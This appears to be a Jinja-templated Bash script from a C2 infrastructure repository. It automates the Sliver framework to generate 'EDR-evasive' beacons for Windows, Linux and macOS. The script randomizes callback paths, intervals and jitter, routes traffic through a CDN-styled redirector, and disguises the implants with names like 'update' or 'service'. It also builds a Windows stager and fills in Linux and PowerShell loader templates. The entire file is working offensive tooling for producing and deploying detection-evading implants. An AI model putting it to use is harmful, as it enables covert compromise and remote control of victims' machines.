Files
CoM-c2itall/templates/generate_evasive_beacons.sh.j2
T
2025-04-21 16:27:35 -04:00

143 lines
6.1 KiB
Django/Jinja

#!/bin/bash
# Corrected EDR-evasive beacon generator with template files
# Configuration (automatically populated by Ansible)
BEACONS_DIR="/opt/beacons"
C2_HOST="{{ ansible_host }}"
REDIRECTOR_HOST="cdn.{{ domain }}"
REDIRECTOR_PORT="{{ redirector_port | default('443') }}"
# Ensure required directories exist
mkdir -p $BEACONS_DIR/staged
mkdir -p $BEACONS_DIR/shellcode
# Generate unique random values for each execution
random_string() {
cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w ${1:-8} | head -n 1
}
# Create a new Sliver profile with redirector-compatible paths
create_profile() {
local type=$1
local profile_name="profile-${type}-$(random_string 8)"
# Use paths that match the redirector NGINX configuration
local http_path1="/ajax/$(random_string 8)"
local http_path2="/static/js/$(random_string 6).js"
local interval=$(( 30 + RANDOM % 120 ))
local jitter=$(( 10 + RANDOM % 35 ))
# Use sliver-client to create a new profile
echo "[+] Creating profile: $profile_name"
sliver-client profiles new --name "$profile_name" --http-c2 "https://$REDIRECTOR_HOST:$REDIRECTOR_PORT" --c2 "https://$REDIRECTOR_HOST:$REDIRECTOR_PORT" --http-urls "$http_path1,$http_path2" --beacon-interval $interval --beacon-jitter $jitter
echo $profile_name
}
# Generate implant using existing profile
generate_implant() {
local profile_name=$1
local os_type=$2
local arch=$3
local format=$4
local output_name=$5
echo "[+] Generating $os_type $format implant with profile $profile_name"
sliver-client generate --profile $profile_name --os $os_type --arch $arch --format $format --save "$BEACONS_DIR/$output_name"
}
# Random output filename generator
random_output_name() {
local type=$1
local names=(
"update" "service" "client" "agent" "app" "system"
"monitor" "utility" "helper" "runtime" "driver" "module"
)
local name="${names[RANDOM % ${#names[@]}]}_$(random_string 4)"
case "$type" in
windows) echo "${name}.exe" ;;
windows_dll) echo "${name}.dll" ;;
linux) echo "${name}" ;;
darwin) echo "${name}" ;;
*) echo "${name}" ;;
esac
}
echo "[+] Generating randomized, evasive beacons with redirector integration..."
echo "[+] Redirector host: $REDIRECTOR_HOST"
echo "[+] C2 host: $C2_HOST"
# Windows EXE
win_profile=$(create_profile "windows")
win_output=$(random_output_name "windows")
generate_implant "$win_profile" "windows" "amd64" "exe" "$win_output"
echo "[+] Windows beacon: $BEACONS_DIR/$win_output (Profile: $win_profile)"
# Windows DLL
dll_profile=$(create_profile "windows_dll")
dll_output=$(random_output_name "windows_dll")
generate_implant "$dll_profile" "windows" "amd64" "shared" "$dll_output"
echo "[+] Windows DLL: $BEACONS_DIR/$dll_output (Profile: $dll_profile)"
# Linux binary
linux_profile=$(create_profile "linux")
linux_output=$(random_output_name "linux")
generate_implant "$linux_profile" "linux" "amd64" "shared" "$linux_output"
echo "[+] Linux binary: $BEACONS_DIR/$linux_output (Profile: $linux_profile)"
# macOS binary
mac_profile=$(create_profile "darwin")
mac_output=$(random_output_name "darwin")
generate_implant "$mac_profile" "darwin" "amd64" "macho" "$mac_output"
echo "[+] macOS binary: $BEACONS_DIR/$mac_output (Profile: $mac_profile)"
# Generate stagers
stager_profile=$(create_profile "stager")
stager_win=$(random_output_name "windows")
sliver-client generate stager --profile $stager_profile --os windows --arch amd64 --format exe --save "$BEACONS_DIR/staged/$stager_win"
echo "[+] Windows stager: $BEACONS_DIR/staged/$stager_win (Profile: $stager_profile)"
# Create manifest file from template
cp /root/Tools/manifest.template "$BEACONS_DIR/manifest.json"
sed -i "s/WINDOWS_EXE/$win_output/g" "$BEACONS_DIR/manifest.json"
sed -i "s/WINDOWS_DLL/$dll_output/g" "$BEACONS_DIR/manifest.json"
sed -i "s/LINUX_BINARY/$linux_output/g" "$BEACONS_DIR/manifest.json"
sed -i "s/MACOS_BINARY/$mac_output/g" "$BEACONS_DIR/manifest.json"
sed -i "s/WINDOWS_STAGER/staged\/$stager_win/g" "$BEACONS_DIR/manifest.json"
sed -i "s/WIN_PROFILE/$win_profile/g" "$BEACONS_DIR/manifest.json"
sed -i "s/DLL_PROFILE/$dll_profile/g" "$BEACONS_DIR/manifest.json"
sed -i "s/LINUX_PROFILE/$linux_profile/g" "$BEACONS_DIR/manifest.json"
sed -i "s/MAC_PROFILE/$mac_profile/g" "$BEACONS_DIR/manifest.json"
sed -i "s/STAGER_PROFILE/$stager_profile/g" "$BEACONS_DIR/manifest.json"
sed -i "s/REDIRECTOR_HOST/$REDIRECTOR_HOST/g" "$BEACONS_DIR/manifest.json"
sed -i "s/REDIRECTOR_PORT/$REDIRECTOR_PORT/g" "$BEACONS_DIR/manifest.json"
sed -i "s/C2_HOST/$C2_HOST/g" "$BEACONS_DIR/manifest.json"
sed -i "s/GENERATED_DATE/$(date)/g" "$BEACONS_DIR/manifest.json"
# Create Linux loader from template
cp /root/Tools/linux_loader.template "$BEACONS_DIR/linux_loader.sh"
sed -i "s/REDIRECTOR_PLACEHOLDER/$REDIRECTOR_HOST/g" "$BEACONS_DIR/linux_loader.sh"
chmod +x "$BEACONS_DIR/linux_loader.sh"
# Create Windows PowerShell loader from template
cp /root/Tools/windows_loader.template "$BEACONS_DIR/windows_loader.ps1"
sed -i "s/REDIRECTOR_PLACEHOLDER/$REDIRECTOR_HOST/g" "$BEACONS_DIR/windows_loader.ps1"
# Create reference file from template
cp /root/Tools/reference.template "$BEACONS_DIR/reference.txt"
sed -i "s/C2_HOST/$C2_HOST/g" "$BEACONS_DIR/reference.txt"
sed -i "s/REDIRECTOR_HOST/$REDIRECTOR_HOST/g" "$BEACONS_DIR/reference.txt"
sed -i "s/WINDOWS_EXE/$win_output/g" "$BEACONS_DIR/reference.txt"
sed -i "s/WINDOWS_DLL/$dll_output/g" "$BEACONS_DIR/reference.txt"
sed -i "s/LINUX_BINARY/$linux_output/g" "$BEACONS_DIR/reference.txt"
sed -i "s/MACOS_BINARY/$mac_output/g" "$BEACONS_DIR/reference.txt"
sed -i "s/WINDOWS_STAGER/$stager_win/g" "$BEACONS_DIR/reference.txt"
sed -i "s/WIN_PROFILE/$win_profile/g" "$BEACONS_DIR/reference.txt"
sed -i "s/DLL_PROFILE/$dll_profile/g" "$BEACONS_DIR/reference.txt"
sed -i "s/LINUX_PROFILE/$linux_profile/g" "$BEACONS_DIR/reference.txt"
sed -i "s/MAC_PROFILE/$mac_profile/g" "$BEACONS_DIR/reference.txt"
sed -i "s/STAGER_PROFILE/$stager_profile/g" "$BEACONS_DIR/reference.txt"
sed -i "s/REDIRECTOR_PORT/$REDIRECTOR_PORT/g" "$BEACONS_DIR/reference.txt"
sed -i "s/GENERATED_DATE/$(date)/g" "$BEACONS_DIR/reference.txt"